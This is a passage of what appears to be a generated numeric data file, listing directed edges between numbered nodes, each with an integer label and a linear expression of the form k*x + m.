6433\n6->89\t107\t34763*x + 1584\n22->81\t32\t57751*x + 7389\n80->42\t87\t81119*x + 2743\n27->84\t89\t40063*x + 3860\n93->25\t52\t103307*x + 11085\n51->24\t65\t30103*x + 2478\n65->56\t119\t88069*x + 11562\n14->94\t125\t87553*x + 13258\n61->85\t83\t96221*x + 10589\n54->18\t80\t6803*x + 4082\n8->34\t41\t36793*x + 1541\n80->93\t98\t101771*x + 15623\n45->16\t66\t37663*x + 8075\n31->95\t111\t41893*x + 1338\n96->53\t120\t84731*x + 8997\n30->83\t12\t91139*x + 11507\n39->1\t112\t72953*x + 4552\n1->13\t99\t102397*x + 11885\n79->7\t126\t50789*x + 3939\n35->95\t111\t59051*x + 4542\n0->61\t10\t2969*x + 5513\n88->26\t81\t60259*x + 7920\n18->30\t96\t49393*x + 6257\n83->77\t106\t8231*x + 6540\n27->9\t115\t7001*x + 5035\n99->2\t72\t2309*x + 6054\n53->60\t85\t53281*x + 7235\n77->70\t57\t84407*x + 10618\n50->63\t60\t91583*x + 12163\n92->28\t50\t47843*x + 4641\n91->97\t108\t22811*x + 3562\n25->49\t68\t12671*x + 5401\n53->37\t114\t12697*x + 4487\n53->83\t12\t92789*x + 14630\n57->12\t101\t84463*x + 11363\n72->60\t85\t83579*x + 3633\n89->11\t43\t59233*x + 1874\n65->31\t47\t44771*x + 7839\n42->96\t67\t98473*x + 15029\n56->83\t12\t14461*x + 6693\n30->26\t81\t31219*x + 3130\n13->88\t71\t89363*x + 16138\n78->87\t121\t76481*x + 499\n64->90\t86\t47417*x + 1835\n39->37\t114\t56813*x + 3189\n18->21\t9\t92681*x + 9476\n21->89\t107\t94201*x + 9777\n5->85\t83\t71741*x + 3642\n56->36\t79\t81533*x + 6889\n93->11\t43\t93133*x + 10691\n97->86\t53\t79193*x + 6444\n64->14\t77\t5323*x + 1203\n89->64\t70\t5843*x + 2423\n26->78\t76\t42337*x + 6649\n47->1\t112\t97583*x + 9823\n11->72\t92\t28933*x + 2959\n44->88\t71\t18451*x + 2040\n67->57\t109\t73277*x + 6988\n9->92\t51\t74449*x + 6474\n39->3\t118\t31751*x + 1070\n86->76\t124\t14221*x + 3047\n55->76\t124\t101797*x + 9152\n17->74\t55\t54011*x + 5661\n50->12\t101\t31769*x + 1694\n23->99\t54\t103291*x + 15545\n42->54\t94\t104059*x + 10756\n91->91\t91\t90007*x + 13000\n70->45\t13\t93497*x + 11978\n63->30\t96\t59093*x + 6706\n25->50\t116\t67343*x + 96\n11->16\t66\t16699*x + 6603\n46->18\t80\t62939*x + 5251\n52->15\t63\t61099*x + 1878\n52->27\t58\t80687*x + 7321\n28->16\t66\t80737*x + 7437\n94->79\t100\t64879*x + 7602\n6->91\t91\t71983*x + 3422\n90->99\t54\t67339*x + 3944\n84->57\t109\t20063*x + 3876\n87->3\t118\t64489*x + 5502\n58->28\t50\t81457*x + 4946\n55->21\t9\t42197*x + 5662\n30->71\t37\t13967*x + 2843\n47->91\t91\t9371*x + 4460\n41->30\t96\t89671*x + 11111\n80->48\t78\t94153*x + 10894\n99->33\t122\t77201*x + 2257\n62->56\t119\t49157*x + 5587\n66->74\t55\t104639*x + 10045\n57->78\t76\t82781*x + 666\n10->50\t116\t104471*x + 9976\n11->95\t111\t30829*x + 1348\n27->46\t74\t7193*x + 1467\n31->42\t87\t40429*x + 5279\n42->47\t90\t93557*x + 15217\n81->21\t9\t38447*x + 3006\n84->12\t101\t17729*x + 2844\n51->30\t96\t20177*x + 4454\n38->1\t112\t86813*x + 8855\n72->43\t105\t13463*x + 3520\n16->86\t53\t51479*x + 5689\n32->5\t82\t76847*x + 7820\n69->63\t60\t73651*x + 6355\n2->92\t51\t74587*x + 62\n66->25\t52\t29879*x + 2078\n15->52\t42\t41453*x + 2197\n79->89\t107\t104123*x + 12693\n96->63\t60\t22037*x + 1068\n68->15\t63\t17497*x + 1562\n20->45\t13\t56087*x + 4701\n46->16\t66\t5683*x + 5441\n55->90\t86\t88547*x + 16113\n0->86\t53\t47717*x + 6622\n55->78\t76\t7529*x + 1193\n80->46\t74\t33679*x + 2373\n59->81\t32\t28097*x + 7526\n84->66\t44\t67213*x + 1668\n39->99\t54\t3271*x + 1906\n65->11\t43\t95279*x + 9155\n89->71\t37\t28111*x + 3095\n11->4\t48\t35963*x + 2108\n83->28\t50\t42767*x + 4099\n22->8\t49\t86239*x + 12346\n49->21\t9\t98207*x + 15185\n41->29\t38\t32843*x + 5203\n27->71\t37\t70879*x + 6028\n20->65\t95\t73063*x + 5824\n33->14\t77\t4079*x + 3048\n23->91\t91\t33317*x + 5583\n84->33\t122\t5227*x + 7619\n31->65\t95\t56249*x + 5973\n11->24\t65\t51679*x + 3354\n49->86\t53\t83117*x + 5810\n17->62\t103\t55207*x + 3412\n73->45\t13\t7883*x + 2306\n11->98\t93\t101119*x + 9740\n78->69\t59\t45863*x + 5294\n22->39\t113\t74143*x + 7336\n92->64\t70\t9661*x + 7575\n54->46\t74\t21401*x + 7427\n96->36\t79\t91837*x + 14544\n33->29\t38\t24317*x + 5327\n66->48\t78\t13681*x + 4239\n52->38\t75\t28661*x + 5272\n79->21\t9\t101377*x + 13628\n20->75\t56\t102181*x + 12093\n92->23\t11\t81097*x + 7850\n87->79\t100\t8513*x + 6873\n34->29\t38\t72931*x + 7994\n94->49\t68\t9907*x + 5962\n86->69\t59\t22871*x + 2363\n70->12\t101\t44417*x + 174\n37->31\t47\t94529*x + 14605\n80->82\t40\t4219*x + 4388\n73->72\t92\t91009*x + 15787\n16->95\t111\t92921*x + 14506\n72->82\t40\t79693*x + 4424\n35->74\t55\t25693*x + 5318\n93->39\t113\t46187*x + 5817\n90->47\t90\t7057*x + 746\n41->0\t33\t98143*x + 10507\n88->99\t54\t38867*x + 4055\n68->55\t39\t95317*x + 14229\n90->18\t80\t87977*x + 13644\n25->3\t118\t42643*x + 727\n20->40\t34\t94543*x + 12834\n7->81\t32\t28909*x + 7504\n41->23\t11\t38201*x + 7889\n72->70\t57\t64747*x + 7650\n8->23\t11\t37171*x + 7701\n35->56\t119\t61343*x + 2339\n18->89\t107\t79843*x + 1202\n9->99\t54\t42307*x + 1330\n90->74\t55\t45757*x + 6997\n47->47\t90\t42751*x + 1982\n2->61\t10\t37871*x + 3103\n91->5\t82\t96017*x + 14813\n7->5\t82\t5659*x + 4427\n18->20\t62\t83071*x + 7298\n43->87\t121\t32779*x + 4190\n65->55\t39\t103067*x + 10433\n98->81\t32\t25933*x + 2872\n77->87\t121\t4091*x + 5694\n47->55\t39\t43019*x + 6832\n54->79\t100\t51343*x + 2182\n82->45\t13\t76079*x + 2240\n77->13\t99\t11393*x + 7621\n89->13\t99\t103787*x + 14854\n93->48\t78\t49547*x + 6191\n38->88\t71\t34213*x + 592\n44->35\t88\t11633*x + 7710\n75->66\t44\t78139*x + 2504\n33->32\t69\t32887*x + 2981\n11->45\t13\t46271*x + 4957\n74->36\t79\t73043*x + 7815\n17->89\t107\t63793*x + 2105\n86->98\t93\t86183*x + 8529\n69->80\t110\t90173*x + 15379\n13->77\t106\t81353*x + 3171\n37->49\t68\t10271*x + 1959\n71->14\t77\t251*x + 2814\n77->75\t56\t29717*x + 4728\n21->46\t74\t39827*x + 6036\n96->45\t13\t100523*x + 13046\n10->33\t122\t32563*x + 2776\n11->9\t115\t52691*x + 7614\n47->13\t99\t13337*x + 384\n87->23\t11\t51521*x + 7354\n68->72\t92\t59659*x + 750\n51->43\t105\t19489*x + 6843\n85->47\t90\t1151*x + 7810\n15->35\t88\t21107*x + 7146\n46->19\t61\t38299*x + 6768\n17->46\t74\t55721*x + 6800\n42->41\t73\t78853*x + 4083\n50->56\t119\t21163*x + 7098\n60->23\t11\t25717*x + 4621\n65->52\t42\t65687*x + 3399\n93->42\t87\t102523*x + 13384\n55->77\t106\t44797*x + 1099\n13->1\t112\t43403*x + 7442\n9->76\t124\t31271*x + 6870\n15->46\t74\t38569*x + 6500\n80->1\t112\t91811*x + 8323\n94->91\t91\t41479*x + 2625\n97->83\t12\t102913*x + 9797\n10->8\t49\t16987*x + 3031\n25->63\t60\t3541*x + 469\n64->85\t83\t6571*x + 6138\n27->36\t79\t46703*x + 7973\n79->80\t110\t58451*x + 3111\n11->36\t79\t77167*x + 1996\n93->73\t102\t2699*x + 3895\n20->89\t107\t56401*x + 3214\n82->73\t102\t50177*x + 1880\n65->87\t121\t16067*x + 4235\n34->45\t13\t27091*x + 3884\n70->53\t120\t68071*x + 1935\n68->11\t43\t86069*x + 15786\n58->66\t44\t24251*x + 1767\n1->36\t79\t4751*x + 6256\n43->20\t62\t44543*x + 5201\n67->51\t97\t16417*x + 7817\n51->53\t120\t14653*x + 7622\n74->1\t112\t99409*x + 11733\n20->33\t122\t20929*x + 766\n94->71\t37\t33923*x + 6427\n88->66\t44\t24691*x + 1111\n90->16\t66\t15073*x + 640\n6->77\t106\t46681*x + 5920\n83->41\t73\t27803*x + 2949\n28->3\t118\t26237*x + 6867\n17->61\t10\t22279*x + 2892\n85->14\t77\t38693*x + 1209\n2->49\t68\t19463*x + 6497\n78->70\t57\t12239*x + 2611\n75->81\t32\t34369*x + 4226\n83->86\t53\t74197*x + 2712\n38->16\t66\t67801*x + 5445\n64->47\t90\t38431*x + 5321\n83->16\t66\t84977*x + 11645\n16->96\t67\t74489*x + 3681\n1->98\t93\t16183*x + 7419\n98->70\t57\t23917*x + 2583\n68->68\t36\t77171*x + 488\n47->51\t97\t41879*x + 7811\n55->27\t58\t57571*x + 5710\n42->11\t43\t86539*x + 9641\n34->87\t121\t31727*x + 733\n14->72\t92\t72977*x + 2663\n46->92\t51\t91621*x + 11032\n87->47\t90\t91943*x + 14036\n89->56\t119\t331*x + 6069\n46->80\t110\t31873*x + 5946\n64->24\t65\t95219*x + 16362\n31->85\t83\t68821*x + 5822\n43->44\t45\t80309*x + 3296\n15->30\t96\t91969*x + 14460\n27->6\t123\t349*x + 1892\n90->70\t57\t28631*x + 7987\n65->94\t125\t3547*x + 2097\n8->28\t50\t57713*x + 935\n87->63\t60\t50957*x + 4629\n63->74\t55\t14657*x + 1901\n13->50\t116\t81853*x + 1148\n35->91\t91\t65267*x + 4366\n29->22\t64\t21569*x + 2770\n15->32\t69\t57047*x + 6051\n59->55\t39\t92353*x + 8507\n22->2\t72\t11471*x + 5691\n30->56\t119\t17657*x + 7154\n52->43\t105\t92899*x + 12738\n72->42\t87\t27437*x + 6585\n78->94\t125\t98561*x + 11173\n16->94\t125\t21323*x + 6348\n96->14\t77\t21031*x + 1930\n45->21\t9\t12413*x + 4954\n66->73\t102\t54577*x + 2415\n13->26\t81\t95089*x + 13742\n89->92\t51\t85531*x + 15284\n17->40\t34\t43711*x + 4494\n24->31\t47\t12211*x + 6655\n1->8\t49\t94709*x + 8396\n2->70\t57\t74021*x + 3704\n46->15\t63\t11071*x + 4571\n61->94\t125\t21647*x + 3433\n48->28\t50\t42409*x + 614\n36->30\t96\t3499*x + 3478\n97->66\t44\t29077*x + 1590\n43->24\t65\t70891*x + 5020\n85->13\t99\t73907*x + 5409\n15->24\t65\t13903*x + 1547\n34->14\t77\t42379*x + 6335\n91->86\t53\t49279*x + 6184\n18->8\t49\t101837*x + 9762\n2->8\t49\t18919*x + 888\n46->85\t83\t49477*x + 7530\n87->36\t79\t22453*x + 3741\n63->33\t122\t72613*x + 3272\n18->22\t64\t64483*x + 7915\n19->14\t77\t57367*x + 2485\n48->58\t35\t19571*x + 2401\n76->48\t78\t70001*x + 4744\n35->5\t82\t77023*x + 7867\n33->48\t78\t50857*x + 5714\n4->11\t43\t72893*x + 4953\n13->56\t119\t99793*x + 8511\n61->56\t119\t22751*x + 1144\n99->75\t56\t74551*x + 2456\n45->83\t12\t62819*x + 6056\n47->15\t63\t10331*x + 2394\n44->24\t65\t19717*x + 7696\n76->98\t93\t95339*x + 13797\n98->44\t45\t95063*x + 12590\n77->91\t91\t44879*x + 7923\n15->99\t54\t51563*x + 5851\n6->49\t68\t59561*x + 2782\n22->61\t10\t89819*x + 8984\n93->45\t13\t7481*x + 5162\n54->53\t120\t193*x + 2433\n88->24\t65\t95629*x + 8681\n70->3\t118\t21283*x + 7555\n43->93\t98\t19577*x + 5922\n25->57\t109\t35729*x + 2766\n52->42\t87\t5*x + 1686\n66->60\t85\t6353*x + 7187\n84->54\t94\t2539*x + 7831\n30->36\t79\t6827*x + 929\n89->41\t73\t66569*x + 1970\n88->23\t11\t16319*x + 1890\n56->22\t64\t77711*x + 819\n87->46\t74\t3391*x + 7174\n12->49\t68\t57667*x + 2143\n49->75\t56\t65099*x + 3730\n89->60\t85\t75869*x + 4593\n75->57\t109\t1877*x + 6448\n34->34\t41\t16477*x + 2261\n57->75\t56\t40583*x + 5496\n99->61\t10\t19333*x + 8144\n3->69\t59\t28099*x + 6778\n34->81\t32\t81101*x + 2772\n75->23\t11\t94907*x + 11782\n23->1\t112\t68041*x + 1816\n55->28\t50\t56489*x + 1227\n6->8\t49\t36131*x + 1056\n96->39\t113\t42457*x + 658\n73->13\t99\t95971*x + 11789\n42->12\t101\t73327*x + 5971\n48->53\t120\t65519*x + 7302\n54->12\t101\t7687*x + 6584\n25->61\t10\t96179*x + 14809\n0->95\t111\t89821*x + 10916\n58->53\t120\t28307*x + 6568\n59->7\t126\t42829*x + 1078\n80->61\t10\t20323*x + 3847\n75->48\t78\t98011*x + 13945\n80->37\t114\t68141*x + 4357\n69->79\t100\t103399*x + 10460\n64->98\t93\t25409*x + 5448\n13->3\t118\t5849*x + 3365\n7->0\t33\t36809*x + 2948\n75->9\t115\t80779*x + 7606\n76->89\t107\t94621*x + 15061\n43->50\t116\t1951*x + 7185\n97->28\t50\t77839*x + 452\n15->56\t119\t63079*x + 5732\n42->51\t97\t22051*x + 4737\n71->95\t111\t81013*x + 5775\n44->86\t53\t75511*x + 810\n68->91\t91\t79829*x + 1838\n82->79\t100\t83423*x + 4075\n14->90\t86\t33809*x + 3732\n70->83\t12\t37991*x + 1249\n71->63\t60\t52517*x + 438\n96->77\t106\t81017*x + 280\n41->31\t47\t10487*x + 3243\n43->1\t112\t1523*x + 6831\n35->81\t32\t20639*x + 5015\n23->9\t115\t17183*x + 635\n88->78\t76\t71329*x + 2893\n98->26\t81\t86767*x + 8466\n77->69\t59\t9311*x + 4776\n8->91\t91\t80963*x + 2370\n26->52\t42\t41113*x + 1201\n68->96\t67\t15919*x + 2042\n10->88\t71\t1567*x + 5523\n59->98\t93\t73379*x + 157\n88->3\t118\t7823*x + 3813\n33->50\t116\t70619*x + 5562\n39->80\t110\t74071*x + 3238\n35->14\t77\t33071*x + 287\n69->96\t67\t81203*x + 6096\n45->68\t36\t30557*x + 3787\n81->53\t120\t26597*x + 4189\n40->67\t117\t74257*x + 1422\n94->98\t93\t16519*x + 690\n99->41\t73\t41801*x + 4467\n19->25\t52\t1013*x + 1218\n27->44\t45\t35353*x + 527\n81->4\t48\t93131*x + 10223\n84->64\t70\t14479*x + 1252\n78->89\t107\t81163*x + 5983\n9->95\t111\t50231*x + 2646\n91->28\t50\t53609*x + 6291\n58->0\t33\t36353*x + 2683\n69->10\t46\t99173*x + 10288\n2->1\t112\t102983*x + 9425\n14->35\t88\t85049*x + 12201\n93->96\t67\t53269*x + 3363\n68->76\t124\t523*x + 164\n15->9\t115\t75997*x + 2438\n21->47\t90\t71339*x + 2661\n93->40\t34\t56443*x + 6259\n90->56\t119\t14347*x + 237\n33->89\t107\t25237*x + 4647\n53->41\t73\t61211*x + 1090\n42->85\t83\t521*x + 5150\n8->26\t81\t59651*x + 3984\n46->28\t50\t2683*x + 4242\n23->50\t116\t18443*x + 3457\n43->71\t37\t79379*x + 3241\n88->43\t105\t42083*x + 60\n49->3\t118\t64667*x + 7520\n16->65\t95\t56731*x + 7398\n80->98\t93\t83407*x + 8100\n64->44\t45\t72817*x + 4893\n82->64\t70\t80803*x + 3987\n21->40\t34\t75161*x + 5461\n95->99\t54\t353*x + 7550\n87->58\t35\t96293*x + 8773\n16->34\t41\t75083*x + 2320\n62->90\t86\t60913*x + 4884\n55->93\t98\t59053*x + 3029\n27->78\t76\t39443*x + 4738\n19->85\t83\t3691*x + 1050\n61->84\t89\t26573*x + 3364\n9->82\t40\t86851*x + 11682\n56->87\t121\t28499*x + 7746\n88->55\t39\t75181*x + 7750\n44->72\t92\t853*x + 1112\n52->44\t45\t65867*x + 6530\n96->51\t97\t16427*x + 2955\n15->80\t110\t73553*x + 6176\n17->81\t32\t88937*x + 8775\n23->51\t97\t7573*x + 4464\n41->60\t85\t61283*x + 3387\n59->61\t10\t30449*x + 7726\n40->39\t113\t73009*x + 7996\n35->12\t101\t85597*x + 13895\n58->68\t36\t19273*x + 2991\n96->52\t42\t16883*x + 1577\n78->67\t117\t19457*x + 8081\n28->88\t71\t8081*x + 4446\n46->20\t62\t93287*x + 11117\n53->16\t66\t14887*x + 2593\n95->6\t123\t87643*x + 10655\n3->97\t108\t80527*x + 7871\n12->25\t52\t104527*x + 15688\n72->14\t77\t41759*x + 395\n91->70\t57\t60859*x + 3417\n86->16\t66\t24847*x + 5720\n15->54\t94\t57329*x + 2787\n1->64\t70\t74923*x + 4128\n68->81\t32\t3727*x + 1850\n61->47\t90\t96451*x + 16293\n94->90\t86\t50651*x + 3964\n48->70\t57\t78787*x + 4665\n54->57\t109\t83207*x + 1556\n33->92\t51\t85639*x + 9826\n33->57\t109\t58013*x + 3181\n27->73\t102\t99041*x + 10547\n81->92\t51\t50587*x + 7031\n25->39\t113\t27277*x + 5937\n1->62\t103\t36563*x + 2545\n83->24\t65\t81197*x + 342\n70->36\t79\t26833*x + 7844\n21->8\t49\t31*x + 6242\n21->6\t123\t94789*x + 13230\n8->35\t88\t52901*x + 6999\n59->48\t78\t104543*x + 9913\n1->89\t107\t66431*x + 4502\n96->25\t52\t71849*x + 7208\n7->55\t39\t45613*x + 586\n76->16\t66\t17137*x + 7767\n75->35\t88\t75029*x + 8176\n65->63\t60\t66343*x + 169\n59->6\t123\t51577*x + 2518\n25->35\t88\t10513*x + 4352\n28->27\t58\t33637*x + 2054\n13->91\t91\t1187*x + 3143\n28->25\t52\t69463*x + 4580\n39->19\t61\t10243*x + 4419\n8->77\t106\t63691*x + 7574\n34->80\t110\t36161*x + 2700\n90->33\t122\t42373*x + 4535\n97->23\t11\t67481*x + 330\n35->28\t50\t27791*x + 8103\n68->92\t51\t2383*x + 5200\n12->32\t69\t28031*x + 2127\n25->64\t70\t41609*x + 3769\n82->9\t115\t82009*x + 5723\n63->18\t80\t95087*x + 11414\n39->83\t12\t69401*x + 7183\n42->29\t38\t14251*x + 7046\n52->63\t60\t74099*x + 1992\n12->97\t108\t80071*x + 4434\n76->79\t100\t11621*x + 7472\n31->49\t68\t47797*x + 1995\n68->4\t48\t70487*x + 3537\n71->25\t52\t90971*x + 14361\n59->2\t72\t3083*x + 4726\n76->17\t104\t21157*x + 2845\n73->24\t65\t43997*x + 5498\n91->74\t55\t57287*x + 5039\n58->45\t13\t33083*x + 4511\n93->82\t40\t91711*x + 8796\n54->58\t35\t90227*x + 8988\n14->34\t41\t82471*x + 1897\n47->41\t73\t47951*x + 6765\n58->76\t124\t33569*x + 120\n66->77\t106\t84401*x + 13128\n29->63\t60\t50849*x + 4203\n80->23\t11\t39901*x + 4620\n13->84\t89\t78479*x + 479\n50->29\t38\t61051*x + 7724\n43->95\t111\t359*x + 7929\n43->31\t47\t65563*x + 1434\n52->86\t53\t33577*x + 7686\n52->45\t13\t65089*x + 439\n33->40\t34\t101719*x + 11722\n87->0\t33\t56081*x + 5111\n90->22\t64\t7589*x + 6417\n11->13\t99\t28643*x + 2116\n92->82\t40\t45077*x + 171\n82->17\t104\t78643*x + 4033\n69->20\t62\t643*x + 3439\n38->29\t38\t75781*x + 1280\n74->18\t80\t53309*x + 7691\n25->43\t105\t60961*x + 2284\n52->71\t37\t98389*x + 13887\n49->80\t110\t89087*x + 13929\n29->75\t56\t25261*x + 7036\n31->18\t80\t32027*x + 1612\n85->3\t118\t5953*x + 1944\n99->76\t124\t57349*x + 4136\n39->92\t51\t64007*x + 4699\n97->91\t91\t9133*x + 5927\n57->34\t41\t44839*x + 3168\n24->60\t85\t62467*x + 7337\n80->49\t68\t59951*x + 5121\n55->74\t55\t43051*x + 7244\n31->92\t51\t15581*x + 7866\n94->50\t116\t34031*x + 3615\n27->34\t41\t77863*x + 717\n82->61\t10\t83357*x + 412\n22->93\t98\t89833*x + 9128\n79->13\t99\t93463*x + 10681\n40->56\t119\t937*x + 6267\n18->40\t34\t100931*x + 14234\n21->78\t76\t61603*x + 1943\n73->98\t93\t87041*x + 12984\n80->97\t108\t40127*x + 2356\n1->99\t54\t33469*x + 6559\n55->72\t92\t17189*x + 3619\n23->22\t64\t39133*x + 7834\n72->12\t101\t45161*x + 7537\n73->58\t35\t4969*x + 3236\n75->19\t61\t58207*x + 6538\n84->39\t113\t65981*x + 5755\n45->1\t112\t72497*x + 5604\n72->25\t52\t82811*x + 503\n84->79\t100\t35327*x + 1889\n88->19\t61\t67493*x + 1823\n48->8\t49\t98533*x + 8590\n64->19\t61\t21319*x + 3229\n79->74\t55\t38327*x + 1858\n12->43\t105\t42181*x + 908\n10->39\t113\t24179*x + 6701\n65->35\t88\t63197*x + 5408\n12->51\t97\t16981*x + 7549\n77->42\t87\t38791*x + 6793\n89->82\t40\t21727*x + 3947\n77->88\t71\t26041*x + 4281\n6->88\t71\t577*x + 1771\n40->77\t106\t56989*x + 5375\n61->45\t13\t47057*x + 3198\n56->62\t103\t99733*x + 14313\n16->21\t9\t95581*x + 11250\n61->73\t102\t32429*x + 4277\n57->3\t118\t104417*x + 14781\n55->62\t103\t36493*x + 6738\n76->62\t103\t103969*x + 8512\n35->42\t87\t75731*x + 2265\n71->42\t87\t90271*x + 10228\n54->8\t49\t96223*x + 16062\n35->75\t56\t39163*x + 4337\n52->49\t68\t76819*x + 7773\n29->18\t80\t81439*x + 3201\n52->55\t39\t53927*x + 4630\n57->61\t10\t77591*x + 791\n97->53\t120\t5939*x + 6836\n55->9\t115\t58109*x + 7687\n4->36\t79\t55439*x + 7147\n5->37\t114\t84127*x + 15529\n93->30\t96\t57503*x + 5418\n79->5\t82\t719*x + 5940\n61->20\t62\t51977*x + 423\n42->45\t13\t97711*x + 9342\n7->89\t107\t45503*x + 6528\n82->69\t59\t28517*x + 1149\n20->74\t55\t67601*x + 676\n53->30\t96\t35999*x + 249\n6->83\t12\t17909*x + 4645\n16->71\t37\t92683*x + 10852\n58->80\t110\t58043*x + 3329\n14->59\t84\t48589*x + 1214\n86->62\t103\t52859*x + 1523\n39->33\t122\t27397*x + 7586\n47->77\t106\t102559*x + 13670\n86->11\t43\t13003*x + 6467\n15->19\t61\t12107*x + 4848\n52->99\t54\t85903*x + 14531\n48->7\t126\t89303*x + 14744\n59->36\t79\t38671*x + 2184\n34->23\t11\t50539*x + 111\n69->31\t47\t102139*x + 11732\n61->41\t73\t1361*x + 3790\n80->80\t110\t41227*x + 6204\n95->57\t109\t2441*x + 3701\n8->14\t77\t53411*x + 5527\n49->53\t120\t1021*x + 6794\n29->28\t50\t3467*x + 2282\n63->53\t120\t90191*x + 12233\n29->44\t45\t46099*x + 2925\n37->88\t71\t95327*x + 8656\n70->82\t40\t44651*x + 1195\n91->41\t73\t60127*x + 678\n96->59\t84\t97429*x + 9690\n82->62\t103\t62483*x + 3927\n2->39\t113\t12161*x + 1311\n75->12\t101\t72367*x + 7848\n33->52\t42\t13367*x + 313\n0->40\t34\t863*x + 4222\n51->95\t111\t57221*x + 7061\n11->89\t107\t3347*x + 7166\n88->44\t45\t96959*x + 10398\n5->27\t58\t50503*x + 1599\n99->62\t103\t17581*x + 2709\n39->79\t100\t9091*x + 440\n8->27\t58\t4337*x + 4110\n79->79\t100\t39551*x + 3472\n79->28\t50\t56599*x + 3222\n18->55\t39\t10739*x + 2213\n88->41\t73\t22621*x + 7224\n17->57\t109\t17791*x + 1272\n63->24\t65\t100403*x + 15408\n68->6\t123\t33161*x + 963\n42->75\t56\t92717*x + 13428\n25->73\t102\t39503*x + 4911\n12->63\t60\t67931*x + 7711\n88->47\t90\t42719*x + 6188\n42->26\t81\t55163*x + 7184\n33->96\t67\t72421*x + 4763\n47->22\t64\t54727*x + 1024\n10->91\t91\t79159*x + 535\n27->54\t94\t5059*x + 1609\n41->67\t117\t13063*x + 5928\n12->39\t113\t56897*x + 5600\n85->4\t48\t88663*x + 15708\n29->70\t57\t34159*x + 7665\n35->62\t103\t22441*x + 4233\n45->9\t115\t30803*x + 32\n85->82\t40\t92801*x + 9686\n73->56\t119\t42701*x + 7470\n21->53\t120\t63577*x + 4273\n63->83\t12\t23669*x + 5885\n29->93\t98\t98057*x + 9806\n26->47\t90\t173*x + 745\n48->25\t52\t82559*x + 268\n86->92\t51\t100447*x + 9584\n58->9\t115\t54631*x + 5011\n34->41\t73\t15971*x + 2576\n31->61\t10\t22937*x + 625\n75->49\t68\t55619*x + 5698\n63->27\t58\t25073*x + 3631\n44->14\t77\t7691*x + 5636\n51->93\t98\t81569*x + 5372\n90->39\t113\t57793*x + 765\n36->28\t50\t55711*x + 1534\n84->67\t117\t44351*x + 2130\n15->72\t92\t77213*x + 7130\n45->27\t58\t36469*x + 7050\n8->48\t78\t68227*x + 6071\n41->71\t37\t101723*x + 12104\n72->68\t36\t51631*x + 7259\n72->46\t74\t9127*x + 747\n27->92\t51\t75367*x + 3340\n23->20\t62\t10883*x + 3426\n44->47\t90\t83471*x + 3824\n54->30\t96\t28433*x + 2598\n6->23\t11\t35201*x + 6387\n87->9\t115\t36749*x + 2202\n14->81\t32\t991*x + 4228\n20->56\t119\t102877*x + 14166\n78->55\t39\t68219*x + 1587\n94->99\t54\t16567*x + 1186\n54->4\t48\t33641*x + 7338\n16->76\t124\t47701*x + 5846\n91->72\t92\t5741*x + 2221\n40->15\t63\t102149*x + 15503\n85->21\t9\t59107*x + 8020\n94->84\t89\t35447*x + 5752\n36->79\t100\t13877*x + 5729\n31->76\t124\t40189*x + 5389\n80->84\t89\t47387*x + 5138\n57->15\t63\t3701*x + 4397\n76->50\t116\t33479*x + 5667\n39->22\t64\t29531*x + 4284\n78->61\t10\t104047*x + 14675\n88->30\t96\t1579*x + 4019\n46->1\t112\t49937*x + 1957\n12->27\t58\t22483*x + 1504\n12->31\t47\t29231*x + 496\n84->99\t54\t58601*x + 549\n97->13\t99\t29759*x + 7250\n82->18\t80\t24551*x + 2613\n68->97\t108\t38237*x + 5255\n84->32\t69\t24677*x + 2605\n88->2\t72\t35393*x + 7260\n91->11\t43\t85159*x + 12047\n0->50\t116\t23623*x + 1526\n65->1\t112\t64231*x + 3950\n30->52\t42\t6841*x + 4950\n0->66\t44\t37691*x + 2068\n7->63\t60\t23279*x + 6986\n61->30\t96\t71843*x + 5495\n33->5\t82\t94961*x + 10416\n22->72\t92\t5881*x + 4650\n78->5\t82\t673*x + 5455\n11->66\t44\t89189*x + 9042\n80->2\t72\t21563*x + 7566\n76->54\t94\t2423*x + 1606\n81->42\t87\t72623*x + 601\n74->7\t126\t102161*x + 8837\n93->69\t59\t39779*x + 3088\n97->16\t66\t56779*x + 4499\n34->6\t123\t51473*x + 2469\n11->49\t68\t81409*x + 7832\n29->43\t105\t82483*x + 5747\n95->98\t93\t54499*x + 624\n57->54\t94\t89779*x + 13622\n70->59\t84\t92243*x + 15615\n72->65\t95\t96587*x + 13901\n37->91\t91\t86753*x + 12623\n21->14\t77\t27431*x + 8005\n52->52\t42\t22027*x + 5865\n4->96\t67\t64877*x + 1251\n83->38\t75\t58889*x + 2345\n9->46\t74\t84307*x + 15303\n29->91\t91\t57059*x + 4553\n99->69\t59\t104327*x + 10973\n98->50\t116\t91423*x + 13167\n50->62\t103\t84859*x + 15721\n86->42\t87\t65293*x + 5280\n96->95\t111\t96461*x + 13865\n39->87\t121\t2833*x + 7877\n32->70\t57\t4621*x + 7638\n82->82\t40\t57269*x + 7388\n13->7\t126\t36151*x + 1480\n43->23\t11\t74411*x + 7407\n90->64\t70\t41351*x + 7075\n96->98\t93\t40801*x + 4327\n31->24\t65\t68863*x + 2617\n26->73\t102\t99667*x + 12830\n42->46\t74\t51593*x + 5565\n13->21\t9\t50893*x + 2077\n61->97\t108\t30389*x + 8057\n9->32\t69\t72073*x + 6430\n44->66\t44\t28621*x + 188\n54->78\t76\t104743*x + 12603\n95->70\t57\t74687*x + 7641\n98->5\t82\t65719*x + 4778\n13->96\t67\t29153*x + 8130\n1->80\t110\t95287*x + 8440\n28->82\t40\t74189*x + 1160\n80->50\t116\t83449*x + 687\n28->35\t88\t20477*x + 2642\n11->59\t84\t4591*x + 7739\n49->52\t42\t28817*x + 1285\n97->35\t88\t104173*x + 14370\n88->7\t126\t30313*x + 7657\n46->96\t67\t76099*x + 1875\n97->25\t52\t38749*x + 7997\n3->71\t37\t32099*x + 3720\n39->52\t42\t97003*x + 12595\n31->88\t71\t86959*x + 9832\n45->76\t124\t58567*x + 6319\n41->81\t32\t68329*x + 3082\n0->5\t82\t47221*x + 7893\n70->71\t37\t92867*x + 11294\n52->78\t76\t7681*x + 1791\n20->19\t61\t1543*x + 5297\n12->93\t98\t2671*x + 1373\n37->25\t52\t67057*x + 5211\n52->60\t85\t24113*x + 5235\n54->84\t89\t28151*x + 5589\n48->82\t40\t7321*x + 5590\n11->3\t118\t37853*x + 5981\n78->32\t69\t31159*x + 514\n26->27\t58\t41999*x + 2958\n48->6\t123\t12517*x + 3889\n42->97\t108\t76333*x + 651\n51->79\t100\t43117*x + 6545\n41->40\t34\t38629*x + 1417\n68->41\t73\t22901*x + 6506\n88->93\t98\t65617*x + 5829\n14->55\t39\t40357*x + 5679\n11->93\t98\t26309*x + 